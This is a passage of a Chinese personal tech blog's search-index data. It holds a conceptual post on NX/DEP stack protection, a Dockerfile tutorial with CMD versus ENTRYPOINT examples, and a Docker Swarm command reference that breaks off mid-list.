style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"看看例子\"\u003e看看例子\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"image-20250109015627539\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/Chenjx12/PicGO/main/img/202501090200447.png\"\u003e\u003c/p\u003e\n\u003cp\u003e现在用gdb调试一下看看\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image-20250109015938276\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/Chenjx12/PicGO/main/img/202501090200988.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这个是默认开启了NX保护的，可以通过 vmmap 指令，看到栈的部分权限是没有x（execute）执行权限的\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image-20250109020224385\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/Chenjx12/PicGO/main/img/202501090202733.png\"\u003e\u003c/p\u003e\n\u003cp\u003e而这里呢，test1是禁用了NX保护的，栈区的权限多了一个X\u003c/p\u003e\n\u003ch2 id=\"具体细节\"\u003e具体细节\u003c/h2\u003e\n\u003cp\u003e​\t\t了解**\u003ccode\u003e冯·诺依曼结构\u003c/code\u003e\u003cstrong\u003e的师傅应该知道，它将程序指令存储器和数据存储器合并在一起，使\u003c/strong\u003e\u003c!-- raw HTML omitted --\u003e\u003cem\u003e数据和程序以同等地位存放在内存当中\u003c/em\u003e\u003c!-- raw HTML omitted --\u003e**。\u003c/p\u003e\n\u003cp\u003e​\t\tNX是**\u003ccode\u003e数据与程序的分水岭\u003c/code\u003e\u003cstrong\u003e，栈溢出核心思想是通过局部变量覆盖函数返回地址来修改\u003ccode\u003eEIP\u003c/code\u003e和\u003ccode\u003e注入 Shellcode\u003c/code\u003e，在函数返回时跳到Shellcode去执行。要防止这种攻击，最有效的办法就是让攻击者注入的Shellcode无法执行，这就是\u003ccode\u003e数据执行保护（Data Execution Prevention， DEP）安全机制\u003c/code\u003e的初衷。NX策略是使\u003c/strong\u003e栈区域\u003cstrong\u003e的代码\u003c/strong\u003e\u003ccode\u003e无法执行\u003c/code\u003e**。\u003c/p\u003e\n\u003cp\u003e​\t\t该保护机制用于防范：栈溢出 + shellcode\u003c/p\u003e\n\u003cp\u003e​\t\t正常在栈溢出时通过跳转指令跳转至shellcode，但是NX开启后CPU会对数据区域进行检查，当发现正常程序不执行，并跳转至其他地址后会抛出异常，接下来不会继续执行shellcode，而是去转入异常处理，处理后会\u003cstrong\u003e禁止shellcode继续执行\u003c/strong\u003e。\u003c/p\u003e","title":"NX（DEP）保护"},{"content":"Dockerfile Dockerfile是啥 Dockerfile 是一个文本文件，其中包含了构建docker 镜像的所有指令\nDockerfile 是一个用来构建镜像的文本文件，文本内容包含了一条条构建镜像所需的指令和说明\n通过定义一系列命令和参数，Dockerfile 指导 Docker 构建一个自定义的镜像\ndocker build docker build 会根据Dockerfile中的指令，依次执行并构建镜像，指令如下： docker build (参数) [image_name]:[tag] [Path] 参数说明： -f 指定Dockerfile的位置（如果不在当前目录下） -t 设置镜像名称和可选的标签 --build-arg 设置构建时变量 --no-cache 不使用构建缓存 [Path]：Dockerfile 的位置，一般为 . ，表示在当前目录下寻找 注意：路径下有且仅能有一个Dockerfile文件 注意：以前是只能Dockerfile，现在dockerfile也可以了 dockerfile指令 Dockerfile 指令\t说明 FROM\t指定基础镜像，用于后续的指令构建。 MAINTAINER\t指定Dockerfile的作者/维护者。（已弃用，推荐使用LABEL指令） LABEL\t添加镜像的元数据，使用键值对的形式。 RUN\t在构建过程中在镜像中执行命令。 CMD\t指定容器创建时的默认命令。（可以被覆盖） ENTRYPOINT\t设置容器创建时的主要命令。（不可被覆盖） EXPOSE\t声明容器运行时监听的特定网络端口。 ENV\t在容器内部设置环境变量。 ADD\t将文件、目录或远程URL复制到镜像中。 COPY\t将文件或目录复制到镜像中。 VOLUME\t为容器创建挂载点或声明卷。 WORKDIR\t设置后续指令的工作目录。 USER\t指定后续指令的用户上下文。 ARG\t定义在构建过程中传递给构建器的变量，可使用 \u0026#34;docker build\u0026#34; 命令设置。 ONBUILD\t当该镜像被用作另一个构建过程的基础时，添加触发器。 STOPSIGNAL\t设置发送给容器以退出的系统调用信号。 HEALTHCHECK\t定义周期性检查容器健康状态的命令。 SHELL\t覆盖Docker中默认的shell，用于RUN、CMD和ENTRYPOINT指令。 接下来，会稍微细致的讲一下常用的指令\nFROM 指令：往往是Dockerfile 的第一条，指定base image\nFROM ubuntu\t# 指定ubuntu:latest作为基础镜像\nMAINTAINER chenjx12\t# 指定该dockerfile的作者为chenjx12（更换为LABEL）\nLABEL maintainer=\u0026ldquo;chenjx12@foxmail.com\u0026rdquo; # 指定作者chenjx12 LABEL = RUN echo \u0026lsquo;这是一个本地构建的镜像\u0026rsquo; \u0026gt; /tmp/1.txt\n用于执行后面跟着的命令行命令，RUN 有两种格式：\nshell格式\nRUN \u0026lt;终端命令行命令\u0026gt;\nexec格式\nRUN [\u0026ldquo;可执行文件\u0026rdquo;, \u0026ldquo;参数1\u0026rdquo;, \u0026ldquo;参数2\u0026rdquo;]\n例如：\nRUN [\u0026quot;./test.php\u0026quot;, \u0026ldquo;dev\u0026rdquo;, \u0026ldquo;offline\u0026rdquo;] 等价于 RUN ./test.php dev offline\n注意：Dockerfile每次执行都会在docker镜像上新建一层，过多无意义的层会造成镜像膨胀过大\n多个RUN指令可以 \u0026amp;\u0026amp; 符号连接命令，这样执行后，只会创建 1 层镜像\nCMD /bin/bash == CMD [“/bin/bash”]\n即运行镜像时默认执行/bin/bash，但是可以更改\n比如：docker run -it ubuntu:latest cat /tmp/1.txt\n这条指令运行容器时就会执行 cat /tmp/1.txt\nENTRYPOINT 同理，但是有细微的区别，后面会讲\nEXPOSE 80\n声明容器运行暴露听的特定的网络 80 端口，这样就可以访问在 80 端口运行的服务\n仅仅只是声明端口\n作用：\n帮助镜像使用者理解这个镜像服务的守护端口，以方便配置映射 在运行时使用随机端口映射时，也就是 docker run -P 时，会自动随机映射 EXPOSE 的端口 ENV NAME = “chenjx12”\n指定环境变量NAME为chenjx12\nARG 同理，也有细微区别，后讲\nADD Path/file\n将 Path路径下的file文件/目录复制到镜像中\n也可以使用 url\nCOPY 同，细微区别，后讲\nWORKDIR /opt\n指定工作目录为 /opt\n也就是进入容器后的目录为 /opt\n指定工作目录。用 WORKDIR 指定的工作目录，会在构建镜像的每一层中都存在。以后各层的当前目录就被改为指定的目录，如该目录不存在，WORKDIR 会帮你建立目录\ndocker build 构建镜像过程中的，每一个 RUN 命令都是新建的一层。只有通过 WORKDIR 创建的目录才会一直存在\nUSER root\n指定工作用户为root\n也就是进入容器后的身份为root\n用于指定执行后续命令的用户和用户组，这边只是切换后续命令执行的用户（用户和用户组必须提前已经存在）\n只能用于切换用户，如果需要添加用户还需要再RUN 一条指令添加用户\nVOLUME /data\n挂载容器内的/data文件夹，在容器运行时，该目录自动挂载为匿名卷，任何向该目录写入数据的操作都不会被容器记录\n保证容器存储层的无状态理念\n定义匿名数据卷，在启动容器时忘记挂载数据卷，会自动挂载到匿名卷\n作用：\n避免重要的数据，因容器重启而丢失，这是非常致命的 避免容器不断变大 ONBUILD 用于延迟构建命令的执行。简单的说，就是 Dockerfile 里用 ONBUILD 指定的命令，在本次构建镜像的过程中不会执行（假设镜像为 test-build）。当有新的 Dockerfile 使用了之前构建的镜像 FROM test-build ，这时执行新镜像的 Dockerfile 构建时候，会执行 test-build 的 Dockerfile 里的 ONBUILD 指定的命令。\n格式：\nONBUILD \u0026lt;其它指令\u0026gt;\nCMD \u0026amp; ENTRYPOINT 首先这俩都可以使用shell格式和exec格式，都没差\n主要区别在于，一个是默认执行（可以更改）；一个是主要执行（不允许更改）\n并且它们在传参上也有所不同\n比如现在，我想运行一个ubuntu容器，让它帮我用curl命令查看一下本机的ip\n先看看直接拉取一个ubuntu下来，怎么执行\n# docker pull ubuntu:20.04 # docker run -it \u0026lt;id\u0026gt; /bin/bash # apt-get update # apt-get install -y curl # curl -s http://ipinfo.io/ip root@c20b356e8ec0:/# curl -s http://ipinfo.io/ip 47.120.34.132 这里就会回显你的ip地址，如果我加上 -i 参数，则会输出HTTP响应头的详细信息 [root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# curl -s http://ipinfo.io/ip -i HTTP/1.1 200 OK date: Thu, 03 Oct 2024 09:59:20 GMT content-type: text/plain; charset=utf-8 Content-Length: 13 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains 那么我们自行构建镜像呢\n# 咱接着来看看 ENTRYPOINT 版的，dockerfile_1 FROM ubuntu:20.04 RUN apt-get update \u0026amp;\u0026amp; apt-get install -y curl ENTRYPOINT [\u0026#34;curl\u0026#34;, \u0026#34;-s\u0026#34;, \u0026#34;http://ipinfo.io/ip\u0026#34;] 这样就行了，build一下运行容器试试\n[root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker build -t curl_ip:test . [+] Building 0.1s (6/6) FINISHED docker:default =\u0026gt; [internal] load build definition from dockerfile 0.0s =\u0026gt; =\u0026gt; transferring dockerfile: 142B 0.0s =\u0026gt; [internal] load metadata for docker.io/library/ubuntu:20.04 0.0s =\u0026gt; [internal] load .dockerignore 0.0s =\u0026gt; =\u0026gt; transferring context: 2B 0.0s =\u0026gt; [1/2] FROM docker.io/library/ubuntu:20.04 0.0s =\u0026gt; CACHED [2/2] RUN apt update \u0026amp;\u0026amp; apt install curl -y 0.0s =\u0026gt; exporting to image 0.0s =\u0026gt; =\u0026gt; exporting layers 0.0s =\u0026gt; =\u0026gt; writing image sha256:050f1c97507ca5e73b95c5659b4c9f23e249289e71bdad2bf101b2593e6116ba 0.0s =\u0026gt; =\u0026gt; naming to docker.io/library/curl_ip:test 0.0s [root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker images REPOSITORY TAG IMAGE ID CREATED SIZE flask_web latest 69ce5c1bb4e0 20 hours ago 866MB curl_ip test 050f1c97507c 30 hours ago 143MB test_blog latest 4deac4dd6f5b 41 hours ago 141MB nginx latest 605c77e624dd 2 years ago 141MB ubuntu 20.04 ba6acccedd29 2 years ago 72.8MB hello-world latest feb5d9fea6a5 3 years ago 13.3kB centos 7.8.2003 afb6fca791e0 4 years ago 203MB # 那个curl_ip就是构建出来的了，接着使用容器运行它 [root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker run -it 050 47.120.34.132 [root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker run curl_ip:test -i HTTP/1.1 200 OK date: Thu, 03 Oct 2024 10:09:24 GMT content-type: text/plain; charset=utf-8 Content-Length: 13 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains 47.120.34.132 # 可以发现两个都可以 那么CMD呢，把dockerfile改一下就好了\nFROM ubuntu:20.04 RUN apt update \u0026amp;\u0026amp; apt install curl -y CMD [\u0026#34;curl\u0026#34;, \u0026#34;-s\u0026#34;, \u0026#34;http://ipinfo.io/ip\u0026#34;] 接着构建，运行\n[root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker run -it f28 47.120.34.132 # 显然直接运行出一个容器是没问题的 [root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker run curl_ip:test -i docker: Error response from daemon: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: exec: \u0026#34;-i\u0026#34;: executable file not found in $PATH: unknown. # 加上 -i 参数，发现报错了 [root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker run curl_ip:test curl -s http://ipinfo.io/ip -i HTTP/1.1 200 OK date: Fri, 04 Oct 2024 00:27:08 GMT content-type: text/plain; charset=utf-8 Content-Length: 13 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains # 当你自己在后面把完整的命令输入之后才行 这就是为什么说，CMD 指令可以被覆盖，是默认执行的命令\n当你运行时的 COMMAND 有了其他指令，docker 就会优先处理其他指令，而CMD 就被覆盖了\n而 ENTRYPOINT 指令不可被覆盖，是主要执行的命令\n这时就不需要在运行容器时加其他指令，但是可以加参数\n下面是来自[菜鸟教程的原文](Docker Dockerfile | 菜鸟教程 (runoob.com))\nCMD 类似于 RUN 指令，用于运行程序，但二者运行的时间点不同:\nCMD 在docker run 时运行。 RUN 是在 docker build。 作用：为启动的容器指定默认要运行的程序，程序运行结束，容器也就结束。CMD 指令指定的程序可被 docker run 命令行参数中指定要运行的程序所覆盖。\n注意：如果 Dockerfile 中如果存在多个 CMD 指令，仅最后一个生效。\n格式：\nCMD \u0026lt;shell 命令\u0026gt; CMD [\u0026#34;\u0026lt;可执行文件或命令\u0026gt;\u0026#34;,\u0026#34;\u0026lt;param1\u0026gt;\u0026#34;,\u0026#34;\u0026lt;param2\u0026gt;\u0026#34;,...] CMD [\u0026#34;\u0026lt;param1\u0026gt;\u0026#34;,\u0026#34;\u0026lt;param2\u0026gt;\u0026#34;,...] # 该写法是为 ENTRYPOINT 指令指定的程序提供默认参数 推荐使用第二种格式，执行过程比较明确。第一种格式实际上在运行的过程中也会自动转换成第二种格式运行，并且默认可执行文件是 sh。\nENTRYPOINT 类似于 CMD 指令，但其不会被 docker run 的命令行参数指定的指令所覆盖，而且这些命令行参数会被当作参数送给 ENTRYPOINT 指令指定的程序。\n但是, 如果运行 docker run 时使用了 \u0026ndash;entrypoint 选项，将覆盖 ENTRYPOINT 指令指定的程序。\n优点：在执行 docker run 的时候可以指定 ENTRYPOINT 运行所需的参数。\n注意：如果 Dockerfile 中如果存在多个 ENTRYPOINT 指令，仅最后一个生效。\n格式：\nENTRYPOINT [\u0026#34;\u0026lt;executeable\u0026gt;\u0026#34;,\u0026#34;\u0026lt;param1\u0026gt;\u0026#34;,\u0026#34;\u0026lt;param2\u0026gt;\u0026#34;,...] 可以搭配 CMD 命令使用：一般是变参才会使用 CMD ，这里的 CMD 等于是在给 ENTRYPOINT 传参，以下示例会提到。\n示例：\n假设已通过 Dockerfile 构建了 nginx:test 镜像：\nFROM nginx ENTRYPOINT [\u0026#34;nginx\u0026#34;, \u0026#34;-c\u0026#34;] # 定参 CMD [\u0026#34;/etc/nginx/nginx.conf\u0026#34;] # 变参 1、不传参运行\ndocker run nginx:test 容器内会默认运行以下命令，启动主进程。\nnginx -c /etc/nginx/nginx.conf 2、传参运行\ndocker run nginx:test -c /etc/nginx/new.conf 容器内会默认运行以下命令，启动主进程(/etc/nginx/new.conf:假设容器内已有此文件)\nnginx -c /etc/nginx/new.conf ADD \u0026amp; COPY ADD ADD 指令和 COPY 的使用格类似（同样需求下，官方推荐使用 COPY）。功能也类似，不同之处如下：\nADD 的优点：在执行 \u0026lt;源文件\u0026gt; 为 tar 压缩文件的话，压缩格式为 gzip, bzip2 以及 xz 的情况下，会自动复制并解压到 \u0026lt;目标路径\u0026gt;。\nADD 的缺点：在不解压的前提下，无法复制 tar 压缩文件。会令镜像构建缓存失效，从而可能会令镜像构建变得比较缓慢。具体是否使用，可以根据是否需要自动解压来决定。\nCOPY 复制指令，从上下文目录中复制文件或者目录到容器里指定路径。\n格式：\nCOPY [--chown=\u0026lt;user\u0026gt;:\u0026lt;group\u0026gt;] \u0026lt;源路径1\u0026gt;... \u0026lt;目标路径\u0026gt; COPY [--chown=\u0026lt;user\u0026gt;:\u0026lt;group\u0026gt;] [\u0026#34;\u0026lt;源路径1\u0026gt;\u0026#34;,... \u0026#34;\u0026lt;目标路径\u0026gt;\u0026#34;] [\u0026ndash;chown=:]：可选参数，用户改变复制到容器内文件的拥有者和属组。\n\u0026lt;源路径\u0026gt;：源文件或者源目录，这里可以是通配符表达式，其通配符规则要满足 Go 的 filepath.Match 规则。例如：\nCOPY hom* /mydir/ COPY hom?.txt /mydir/ ENV \u0026amp; ARG ENV 设置环境变量，定义了环境变量，那么在后续的指令中，就可以使用这个环境变量。\n格式：\nENV \u0026lt;key\u0026gt; \u0026lt;value\u0026gt; ENV \u0026lt;key1\u0026gt;=\u0026lt;value1\u0026gt; \u0026lt;key2\u0026gt;=\u0026lt;value2\u0026gt;... 以下示例设置 NODE_VERSION = 7.2.0 ， 在后续的指令中可以通过 $NODE_VERSION 引用：\nENV NODE_VERSION 7.2.0 RUN curl -SLO \u0026#34;https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-x64.tar.xz\u0026#34; \\ \u0026amp;\u0026amp; curl -SLO \u0026#34;https://nodejs.org/dist/v$NODE_VERSION/SHASUMS256.txt.asc\u0026#34; ARG 构建参数，与 ENV 作用一致。不过作用域不一样。ARG 设置的环境变量仅对 Dockerfile 内有效，也就是说只有 docker build 的过程中有效，构建好的镜像内不存在此环境变量。\n构建命令 docker build 中可以用 \u0026ndash;build-arg \u0026lt;参数名\u0026gt;=\u0026lt;值\u0026gt; 来覆盖。\n格式：\nARG \u0026lt;参数名\u0026gt;[=\u0026lt;默认值\u0026gt;] ","permalink":"https://chenjx12.github.io/posts/dockerfile/","summary":"\u003ch1 id=\"dockerfile\"\u003eDockerfile\u003c/h1\u003e\n\u003ch2 id=\"dockerfile是啥\"\u003eDockerfile是啥\u003c/h2\u003e\n\u003cp\u003eDockerfile 是一个\u003cstrong\u003e文本文件\u003c/strong\u003e，其中包含了构建docker 镜像的所有\u003cstrong\u003e指令\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eDockerfile 是一个用来构建镜像的文本文件，文本内容包含了一条条构建镜像所需的指令和说明\u003c/p\u003e\n\u003cp\u003e通过定义一系列命令和参数，Dockerfile 指导 Docker 构建一个自定义的镜像\u003c/p\u003e\n\u003ch2 id=\"docker-build\"\u003edocker build\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003edocker build 会根据Dockerfile中的指令，依次执行并构建镜像，指令如下：\n\ndocker build (参数) [image_name]:[tag] [Path]\n\n参数说明：\n-f 指定Dockerfile的位置（如果不在当前目录下）\n-t 设置镜像名称和可选的标签\n--build-arg 设置构建时变量\n--no-cache 不使用构建缓存\n\n[Path]：Dockerfile 的位置，一般为 . ，表示在当前目录下寻找\n\n注意：路径下有且仅能有一个Dockerfile文件\n注意：以前是只能Dockerfile，现在dockerfile也可以了\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"dockerfile指令\"\u003edockerfile指令\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eDockerfile 指令\t\t说明\n\nFROM\t\t\t\t指定基础镜像，用于后续的指令构建。\nMAINTAINER\t\t\t指定Dockerfile的作者/维护者。（已弃用，推荐使用LABEL指令）\nLABEL\t\t\t\t添加镜像的元数据，使用键值对的形式。\nRUN\t\t\t\t\t在构建过程中在镜像中执行命令。\nCMD\t\t\t\t\t指定容器创建时的默认命令。（可以被覆盖）\nENTRYPOINT\t\t\t设置容器创建时的主要命令。（不可被覆盖）\nEXPOSE\t\t\t\t声明容器运行时监听的特定网络端口。\nENV\t\t\t\t\t在容器内部设置环境变量。\nADD\t\t\t\t\t将文件、目录或远程URL复制到镜像中。\nCOPY\t\t\t\t将文件或目录复制到镜像中。\nVOLUME\t\t\t\t为容器创建挂载点或声明卷。\nWORKDIR\t\t\t\t设置后续指令的工作目录。\nUSER\t\t\t\t指定后续指令的用户上下文。\nARG\t\t\t\t\t定义在构建过程中传递给构建器的变量，可使用 \u0026#34;docker build\u0026#34; 命令设置。\nONBUILD\t\t\t\t当该镜像被用作另一个构建过程的基础时，添加触发器。\nSTOPSIGNAL\t\t\t设置发送给容器以退出的系统调用信号。\nHEALTHCHECK\t\t\t定义周期性检查容器健康状态的命令。\nSHELL\t\t\t\t覆盖Docker中默认的shell，用于RUN、CMD和ENTRYPOINT指令。\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e接下来，会稍微细致的讲一下常用的指令\u003c/p\u003e","title":"dockerfile"},{"content":"Docker Swarm 学习来源：\n腾讯云 菜鸟教程 Swarm 简介 Docker Swarm 是 Docker 的集群管理工具。它将 Docker 主机池转变为单个虚拟 Docker 主机。 Docker Swarm 提供了标准的 Docker API，所有任何已经与 Docker 守护程序通信的工具都可以使用 Swarm 轻松地扩展到多个主机。\ndocker swarm：管理集群 # 初始化一个swarm docker swarm init [OPTIONS] # 选项： --advertise-addr string # 发布的地址（格式：\u0026lt;ip|interface\u0026gt;[:port]） --force-new-cluster # 强制从当前状态创建一个新的集群（去除本地之外的所有管理器身份） --cert-expiry duration # 节点证书有效期(ns|us|ms|s|m|h)(默认为2160h0m0s) --data-path-addr string # 用于数据路径通信的地址或接口(格式: \u0026lt;ip|interface\u0026gt;) --data-path-port uint32 # 用于数据路径流量的端口号(1024 - 49151)。如果没有值，则默认端口号4789 --dispatcher-heartbeat duration # 调度程序的心跳周期(ns|us|ms|s|m|h)(默认为5s) --listen-addr node-addr # 监听地址(格式: \u0026lt;ip|interface\u0026gt;[:port]) (默认 0.0.0.0:2377) # 查看加入节点到集群的命令及令牌(token) docker swarm join-token [OPTIONS] (worker|manager) # 选项： -q, --quiet # 只显示令牌 --rotate # 使旧令牌无效并生成新令牌 # 查看加入工作节点到集群的命令及令牌 docker swarm join-token worker # 查看加入管理节点到集群的命令及令牌 docker swarm join-token manager # 将节点加入swarm集群，作为一个manager或worker docker swarm join [OPTIONS] HOST:PORT # 选项： --advertise-addr string # 发布的地址 (格式: \u0026lt;ip|interface\u0026gt;[:port]) --availability string # 节点的可用性 (\u0026#34;active\u0026#34;|\u0026#34;pause\u0026#34;|\u0026#34;drain\u0026#34;) (default \u0026#34;active\u0026#34;) --data-path-addr string # 用于数据路径通信的地址或接口 (格式: \u0026lt;ip|interface\u0026gt;) --listen-addr node-addr # 监听地址 (格式: \u0026lt;ip|interface\u0026gt;[:port]) (default 0.0.0.0:2377) --token string # 进入的swarm集群的令牌 # 主动退出集群，让节点处于down状态（在需要退出Swarm集群的节点主机上执行命令） docker swarm leave [OPTIONS] # 选项： -f, --force # 强制。Manager若要退出 Swarm 集群，需要加上强制选项 ## 移除一个work-node节点主机的完整步骤： # 1.在管理节点上操作，清空work-node节点的容器。id 可以使用命令 docker node ls 查看 docker node update --availability drain [id] # 2.在work-node节点主机上操作，退出集群 docker swarm leave # 3，在管理节点上操作，删除work-node节点 docker node rm [id] # 若想解散整个集群，则需先移除所有work-node节点主机，然后所有管理节点也退出集群 # 更新 swarm 集群的配置 docker swarm update [OPTIONS] # 选项： --autolock # 更改管理器自动锁定设置(true|false) --cert-expiry duration # 节点证书有效期(ns|us|ms|s|m|h)(默认为2160h0m0s) --dispatcher-heartbeat duration # 调度程序心跳周期(ns|us|ms|s|m|h)(默认为5s) docker node：管理swarm集群节点 # 查看集群中的节点 docker node ls #选项： -f, --filter filter # 根据所提供的条件过滤输出。(格式：key=value) # 目前支持的过滤器是：id, label, name, membership[=accepted|pending] # , role[manager|worker] -q, --quiet # 只显示id # 查看运行的一个或多个及节点任务数，默认当前节点 docker node ps [OPTIONS] [NODE...] #选项： -f, --filter filter # 根据所提供的条件过滤输出 -q, --quiet # 只显示id # 将worker角色升级为manager docker node promote NODE [NODE...] # 将manager角色降级为worker docker node demote NODE [NODE...] # 查看节点的详细信息，默认json格式 docker node inspect 主机名 # 查看节点信息平铺格式 docker node inspect --pretty 主机名 # 从swarm中删除一个节点 docker node rm 主机名 # 从swarm中强制删除一个节点 docker node rm -f 主机名 # 更新一个节点 docker node update [options] 主机名 # 选项 --label-add list # 添加节点标签(key=value) --label-rm list # 删除节点标签 --role string # 更改节点角色 (\u0026#34;worker\u0026#34;|\u0026#34;manager\u0026#34;) --availability active/pause/drain # 设置节点的状态 # active 正常 # pause 暂停。调度程序不向节点分配新任务，但是现有任务仍然保持运行 # drain 排除自身work任务。调度程序不向节点分配新任务，且会关闭任何现有任务并在可用节点上安排它们 docker service：服务管理 # 列出服务列表 docker service ls # 列出服务任务信息 docker service ps [OPTIONS] SERVICE [SERVICE...] # 选项： --no-trunc # 显示完整的信息 -f, --filter filter # 根据所提供的条件过滤输出。过滤只运行的任务信息：\u0026#34;desired-state=running\u0026#34; -q, --quiet # 只显示任务id # 查看服务内输出 docker service logs [OPTIONS] SERVICE|TASK # 选项： --details # 显示提供给日志的额外细节 -f, --follow # 跟踪日志输出 --since string # 显示自时间戳 (2013-01-02T13:23:37Z) 或相对时间戳 (42m for 42 minutes) 以来的日志 -n, --tail string # 从日志末尾显示的行数(默认为“all”) -t, --timestamps # 显示时间戳 # 更新服务的相关配置 docker service update [options] 服务名 # 选项 --args \u0026#34;指令\u0026#34; # 容器加入指令 --image IMAGE # 更新服务容器镜像 --rollback # 回滚服务容器版本 --network-add 网络名 # 添加容器网络 --network-rm 网络名 # 删除容器网络 --reserve-cpu int # 更新分配的cpu --reserve-memory bytes # 更新分配的内存(示例：512m) --publish-add 暴露端口:容器端口 # 映射容器端口到主机 --publish-rm 暴露端口:容器端口 # 移除暴露端口 --endpoint-mode dnsrr # 修改负载均衡模式为dnsrr --force # 强制重启服务 --config-rm 配置文件名称 # 删除配置文件 --constraint-add list # 新增一个约束 --constraint-rm list # 移除一个约束 --placement-pref-add pref # 新增一个偏好 --placement-pref-rm pref # 移除一个偏好 --config-add 配置文件名，target=/../容器内配置文件名 # 添加新的配置文件到容器内 # 查看服务详细信息，默认json格式 docker service inspect [OPTIONS] 服务名 [SERVICE...] # 查看服务信息平铺形式 docker service inspect --pretty 服务名 # 删除服务 docker service rm [OPTIONS] 服务名 [SERVICE...] # 缩容扩容服务容器副本数量 docker service scale 服务名=副本数 [SERVICE=REPLICAS...] # 创建一个服务。一般搭建好 Swarm 集群后，使用 docker stack 部署应用，此处仅作了解 docker service create [OPTIONS] IMAGE [COMMAND] [ARG...] # 选项： --name string # 指定容器名称 --replicas int # 指定副本数 --network 网络名 # 添加网络组 --mode string # 服务模式（复制或全局）(replicated | global) --reserve-cpu int # 预留的cpu --reserve-memory bytes # 预留的内存(512m) --limit-cpu int # 限制CPU --limit-memory bytes # 限制内存(512m) -l, --label list # 服务的标签(key=value) --container-label list # 容器标签(key=value) -p, --publish 暴露端口:容器端口 # 映射容器端口到主机 -e, --env MYVAR=myvalue # 配置环境变量 -w, --workdir string # 指定工作目录(示例：/tmp) -restart-condition string # 满足条件时重新启动（no | always | on-failure | unless-stopped） --restart-delay duration # 重新启动尝试之间的延迟 (ns/us/ms/s/m/h) --restart-max-attempts int # 放弃前的最大重启次数 --restart-window duration # 用于评估重启策略的窗口 (ns/us/ms/s/m/h) --stop-grace-period duration # 强制杀死容器前的等待时间 (ns/us/ms/s/m/h) --update-delay duration # 更新之间的延迟（ns/us/ms/s/m/h）（默认 0s） --update-failure-action string # 更新失败的操作（\u0026#34;pause\u0026#34;停止|\u0026#34;continue\u0026#34;继续）（默认pause） --update-max-failure-ratio float # 更新期间容忍的失败率 --update-monitor duration # 每次任务更新后监控失败的持续时间（ns/us/ms/s/m/h）（默认 0s） --update-parallelism int # 同时更新的最大任务数(0表示一次更新全部任务)(默认为1) --endpoint-mode string # 负载均衡模式(vip or dnsrr) (默认 \u0026#34;vip\u0026#34;) --rollback-monitor 20s # 每次容器与容器之间的回滚时间间隔 --rollback-max-failure-ratio .数值 # 回滚故障率如果小于百分比允许运行（“.2”为%20） --mount type=volume,src=volume名称,dst=容器目录 # 创建volume类型数据卷 --mount type=bind,src=宿主目录,dst=容器目录 # 创建bind读写目录挂载 --mount type=bind,src=宿主目录,dst=容器目录,readonly # 创建bind只读目录挂载 --config source=docker配置文件,target=配置文件路径 # 创建docker配置文件到容器本地目录 docker secret：管理敏感数据存储 # 查看敏感数据卷列表 $ docker secret ls # 显示一个或多个敏感数据卷的详细信息 $ docker secret inspect [OPTIONS] SECRET [SECRET...] # 选项 --pretty # 易读的格式打印信息 # 从文件或标准输入创建一个敏感数据卷作为内容 $ docker secret create [OPTIONS] SECRET [file|-] # 选项 -d, --driver string # 指定驱动 -l, --label list # 指定标签 --template-driver string # 指定模板驱动程序 # 移除一个或多个敏感数据卷 $ docker secret rm SECRET [SECRET...] # 别名：rm, remove docker config：管理配置文件 # 查看已创建配置文件 docker config ls [OPTIONS] # 选项： -f, --filter filter # 根据所提供的条件过滤输出 -q, --quiet # 只显示id # 查看配置详细信息 docker config inspect 配置文件名 # 删除配置 docker config rm CONFIG [CONFIG...] # 创建配置文件 docker config create 配置文件名 本地配置文件 # 示例：新建配置文件并添加新配置文件到服务 # 1.创建配置文件 docker config create nginx2_config nginx2.conf # 2.删除旧配置文件 docker service update --config-rm ce_nginx_config 服务名 # 3.添加新配置文件到服务 docker service update --config-add src=nginx2_config,target=/etc/nginx/nginx.conf ce_nginx docker network: 网络信息 # 查看集群网络列表 docker network ls # 将容器连接到集群网络中 $ docker network connect [OPTIONS] NETWORK CONTAINER # 选项 --alias strings # 为容器添加网络范围的别名 --driver-opt string · # 指定网络驱动程序 --ip string # 指定IPv4地址(如172.30.100.104) --ip6 string # 指定IPv6地址(例如，2001:db8::33) --link list # 添加到另一个容器的链接 --link-local-ip string # 为容器添加一个链接本地地址 # 示例 docker network connect mynet nginx # 断开一个容器与集群网络的连接 $ docker network disconnect [OPTIONS] NETWORK CONTAINER # 选项 -f, --force # 强制容器从网络断开连接 # 显示一个或多个集群网络的详细信息 $ docker network inspect [OPTIONS] NETWORK [NETWORK...] # 选项 -f, --format string # 使用给定的Go模板格式化输出 -v, --verbose # 输出详细的诊断信息 # 创建一个集群网络 $ docker network create [OPTIONS] NETWORK # 选项 --attachable # 准许手动容器连接 --aux-address map # 网络驱动使用的辅助IPv4或IPv6地址(默认映射[]) --config-from string # 要从其中复制配置的网络 --config-only # 创建仅配置网络 -d, --driver string # 